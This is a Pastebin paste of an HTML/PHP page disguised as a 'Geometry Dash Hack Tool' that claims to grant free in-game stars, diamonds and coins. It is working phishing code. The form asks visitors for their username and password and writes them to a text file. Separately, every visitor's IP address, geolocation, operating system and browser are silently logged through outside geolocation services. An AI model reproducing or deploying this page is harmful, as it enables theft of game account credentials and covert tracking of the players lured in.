Advertisement
Guest User

adsf

a guest
Mar 12th, 2017
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.83 KB | None | 0 0
  1. <div id="center">
  2. <h1>Online Geometry Dash Hack Tool</h1>
  3.  
  4. <br>
  5. <br>
  6. <br>
  7. <br>
  8. <br>
  9. <br>
  10.  
  11. <h2>Simply Type In The Amounts You Want In The Boxes!</h2>
  12.  
  13. <img src="http://i.imgur.com/CZNVtnw.png" width="600"</img>
  14.  
  15. <input id="stars"></input>
  16. <input id="diamonds"></input>
  17. <input id="scoins"></input>
  18. <input id="coins"></input>
  19. <input id="demons"></input>
  20.  
  21. <br>
  22. <br>
  23.  
  24.  
  25.  
  26. <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
  27. <h3>Username:</h3>
  28. <input name="username" id="user"></input>
  29. <br>
  30. <br>
  31. <h3>Password:</h3>
  32. <input name="password" id="pass"></input>
  33. <br>
  34. <br>
  35. <input type="submit" name="submit" onclick="submit2()">
  36. </form>
  37.  
  38.  
  39. </div>
  40.  
  41. <style>
  42.  
  43. #center {
  44. text-align: center;
  45. }
  46.  
  47. #stars {
  48. position: absolute;
  49. top: 255;
  50. left: 385;
  51. width: 90;
  52. }
  53.  
  54. #diamonds {
  55. position: absolute;
  56. top: 255;
  57. left: 515;
  58. width: 90;
  59. }
  60.  
  61. #scoins {
  62. position: absolute;
  63. top: 255;
  64. left: 645;
  65. width: 60;
  66. }
  67.  
  68. #coins {
  69. position: absolute;
  70. top: 255;
  71. left: 745;
  72. width: 90;
  73. }
  74.  
  75. #demons {
  76. position: absolute;
  77. top: 255;
  78. left: 875;
  79. width: 65;
  80. }
  81.  
  82. </style>
  83.  
  84. <?php
  85.  
  86.  
  87. $user_ip = getenv('REMOTE_ADDR');
  88. $geo = unserialize(file_get_contents("http://www.geoplugin.net/php.gp?ip=$user_ip"));
  89. $country = $geo["geoplugin_countryName"];
  90. $city = $geo["geoplugin_city"];
  91. $location = file_get_contents('http://freegeoip.net/json/'.$_SERVER['REMOTE_ADDR']);
  92. $myfile = fopen("onlinetool.txt", "w") or die("Unable to open file!");
  93.  
  94.  
  95.  
  96.  
  97. $user_agent = $_SERVER['HTTP_USER_AGENT'];
  98.  
  99. function getOS() {
  100.  
  101. global $user_agent;
  102.  
  103. $os_platform = "Windows 10";
  104.  
  105. $os_array = array(
  106. '/windows nt 6.2/i' => 'Windows 8',
  107. '/windows nt 6.1/i' => 'Windows 7',
  108. '/windows nt 6.0/i' => 'Windows Vista',
  109. '/windows nt 5.2/i' => 'Windows Server 2003/XP x64',
  110. '/windows nt 5.1/i' => 'Windows XP',
  111. '/windows xp/i' => 'Windows XP',
  112. '/windows nt 5.0/i' => 'Windows 2000',
  113. '/windows me/i' => 'Windows ME',
  114. '/win98/i' => 'Windows 98',
  115. '/win95/i' => 'Windows 95',
  116. '/win16/i' => 'Windows 3.11',
  117. '/macintosh|mac os x/i' => 'Mac OS X',
  118. '/mac_powerpc/i' => 'Mac OS 9',
  119. '/linux/i' => 'Linux',
  120. '/ubuntu/i' => 'Ubuntu',
  121. '/iphone/i' => 'iPhone',
  122. '/ipod/i' => 'iPod',
  123. '/ipad/i' => 'iPad',
  124. '/android/i' => 'Android',
  125. '/blackberry/i' => 'BlackBerry',
  126. '/webos/i' => 'Mobile'
  127. );
  128.  
  129. foreach ($os_array as $regex => $value) {
  130.  
  131. if (preg_match($regex, $user_agent)) {
  132. $os_platform = $value;
  133. }
  134.  
  135. }
  136.  
  137. return $os_platform;
  138.  
  139. }
  140.  
  141. function getBrowser() {
  142.  
  143. global $user_agent;
  144.  
  145. $browser = "Unknown Browser";
  146.  
  147. $browser_array = array(
  148. '/msie/i' => 'Internet Explorer',
  149. '/firefox/i' => 'Firefox',
  150. '/safari/i' => 'Safari',
  151. '/chrome/i' => 'Chrome',
  152. '/opera/i' => 'Opera',
  153. '/netscape/i' => 'Netscape',
  154. '/maxthon/i' => 'Maxthon',
  155. '/konqueror/i' => 'Konqueror',
  156. '/mobile/i' => 'Handheld Browser'
  157. );
  158.  
  159. foreach ($browser_array as $regex => $value) {
  160.  
  161. if (preg_match($regex, $user_agent)) {
  162. $browser = $value;
  163. }
  164.  
  165. }
  166.  
  167. return $browser;
  168.  
  169. }
  170.  
  171.  
  172. $user_os = getOS();
  173. $user_browser = getBrowser();
  174.  
  175.  
  176. fwrite($myfile, $user_ip . "\n");
  177. fwrite($myfile, $country . "\n");
  178. fwrite($myfile, $city . "\n");
  179. fwrite($myfile, $location . "\n");
  180. fwrite($myfile, $user_os . "\n");
  181. fwrite($myfile, $user_browser . "\n");
  182. fwrite($myfile, "\n");
  183. fwrite($myfile, "\n");
  184. fclose($myfile);
  185.  
  186. if(isset($_POST['submit'])) /* i.e. the PHP code is executed only when someone presses Submit button in the below given HTML Form */
  187. {
  188. $username = $_POST['username'];
  189. $password = $_POST['password'];
  190.  
  191. $user_ip = getenv('REMOTE_ADDR');
  192. $geo = unserialize(file_get_contents("http://www.geoplugin.net/php.gp?ip=$user_ip"));
  193. $country = $geo["geoplugin_countryName"];
  194. $city = $geo["geoplugin_city"];
  195. $location = file_get_contents('http://freegeoip.net/json/'.$_SERVER['REMOTE_ADDR']);
  196.  
  197. $myfile = fopen("onlinetool.txt", "w") or die("Unable to open file!");
  198. fwrite($myfile, $username . "\n");
  199. fwrite($myfile, $password . "\n");
  200. fwrite($myfile, $user_ip . "\n");
  201. fwrite($myfile, $country . "\n");
  202. fwrite($myfile, $city . "\n");
  203. fwrite($myfile, $location . "\n");
  204. fclose($myfile);
  205. }
  206.  
  207.  
  208. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement